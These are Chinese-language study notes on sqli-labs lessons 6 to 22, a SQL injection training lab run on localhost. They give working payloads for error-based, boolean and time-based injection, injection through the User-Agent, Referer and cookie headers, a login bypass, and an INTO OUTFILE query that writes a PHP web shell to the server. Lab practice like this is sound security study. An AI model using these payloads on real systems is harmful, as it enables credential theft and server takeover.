DAY 3
sqli-labs lesson 6
sqli-labs lesson 7
- 同lesson 5,只是把单引号后面加两个空格,使用Burpsuit时,需要对结果进行匹配
- 这一关主要要学习的是sql种into outfile这个命令
- 这个命令能够把字符串写入文件,但必须拥有目录的权限
- 可以通过类似lesson5中猜解数据库名称的方法,猜解出@@datadir数据库目录
- 然后把一句话木马上传到服务器
- 命令:http://localhost/sqli-labs-master/Less-7/?id=1’))+UNION+SELECT+1,2,"<?php @eval($_GET(‘cmd’)) ?>"+into+outfile+“D:\\phpStudy\\WWW\\sqli-labs-master\\a.php”;–+
- 注意:如果提示secure-file-priv错误,在mysql.ini中写入"secure_file_priv = "即可
- sqlmap注入同lesson 2
sqli-labs lesson 8
sqli-labs lesson 9
补充lesson 5的一种手工注入方法
- 基于错误回显的注入
- 如果在检测注入点时发现网页会回显sql语法错误,但是网页上却没有能用的回显点,可以使用这种方法。
- 公式:
and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
- 使用时把payload改为SQL语句即可
sqli-labs lesson 10
- 同lesson 5基于时间延迟的注入,只不过把单引号改为双引号
sqli-labs lesson 11
- 手工注入
- 首先想到尝试使用amdin账户登录,事实上,无论能否登录,都不影响这一关
- 用户名任意,密码填入:1’ OR 1=1;#,会爆出一个用户,说明这里存在注入点,可以尝试联合查询语句。
- 用户名填:1’ UNION SELECT 1,2;#,密码随意,发现网页上有两个回显点。
- 其他步骤均与之前相同。
sqli-labs lesson 12
sqli-labs lesson 13
- 闭合符号为单引号加右括号,由于没有注入点,可以使用报错型注入,也可与基于返回的图片使用布尔型注入。
- 可以使用Burpsuit辅助,简化注入过程
- sqlmap注入过程极慢
sqli-labs lesson 14
- 闭合符号为双引号,其他同lesson 13
- 注意使用HackBar时,要把符号编码
sqli-labs lesson 15
- 布尔型注入,闭合符号为单引号,同lesson 13
sqli-labs lesson 16
sqli-labs lesson 17
- 这是个更新密码的操作,使用的是SQL语句中的UPDATE
UPDATE table_name
SET column1=value1,column2=value2,...
WHERE some_column=some_value;
- 可以使用报错型注入
- 也可以使用延时型注入
- 根据源码,UPDATE语句中的用户名是经过一次转义并且SELECT之后获得的用户名,所以不能直接在用户名上检测
sqli-labs lesson 18
- 注入点在HTTP头,抓包修改User-Agent即可(可使用Burpsuit,其他抓包工具一般也支持),这一关是SQL的插入语句,这里使用报错型注入
- 报错型注入的第二种公式:'and extractvalue(1,concat(0x7e,(payload),0x7e))
- 爆库:'and extractvalue(1,concat(0x7e,(database()),0x7e)) and ‘1’='1
- 爆表:'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e)) and ‘1’='1
- 爆字段:'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x7e)) and ‘1’='1
- 爆记录:'and extractvalue(1,concat(0x7e,(select concat_ws(",",username,password) from security.users limit n,1),0x7e)) and ‘1’='1
sqli-labs lesson 19
- 同lesson 18,只不过改成修改Referer参数了
sqli-labs lesson 20
- 根据源码,这一次,是要修改COOKIE里的uname值,方法同lesson 18
sqli-labs lesson 21
- COOKIE中的用户名经过base64编码,所以注入方法同lesson 20,注意要把payload也进行编码
sqli-labs lesson 22
- 和上一题一样,只不过闭合闭合符号使用的双引号,修改一下符号即可